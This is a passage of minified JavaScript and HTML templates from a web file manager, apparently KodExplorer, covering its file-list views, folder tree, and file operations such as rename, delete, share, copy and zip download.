!list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,u().type)&&a.open(u().path,u().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),f,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},f={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},u=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(u().path)},openWindow:function(){a.openWindow(u().path)},share:function(){i.share(u())},download:function(){"folder"==u().type?i.zipDownload(u(!0)):a.download(u().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=u();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=u();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=u();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",u().path)},appEdit:function(){var e=u(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(u(!0))},copy:function(){i.copy(u(!0))},cute:function(){i.cute(u(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(u(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(u(!0),e,function(){v()})})},favRemove:function(){i.favRemove(u().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(u(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=u(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=u().path;"folder"!=u().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(u().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=u(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var f=o.addNodes(s,newNode)[0];o.editName(f)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+u().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,f=Math.max(r.length,l.length);f>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var u=o(oFxNcL,oFyNcL);if(0!=u)return u}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},f=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)u(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG}); -$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},k=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" 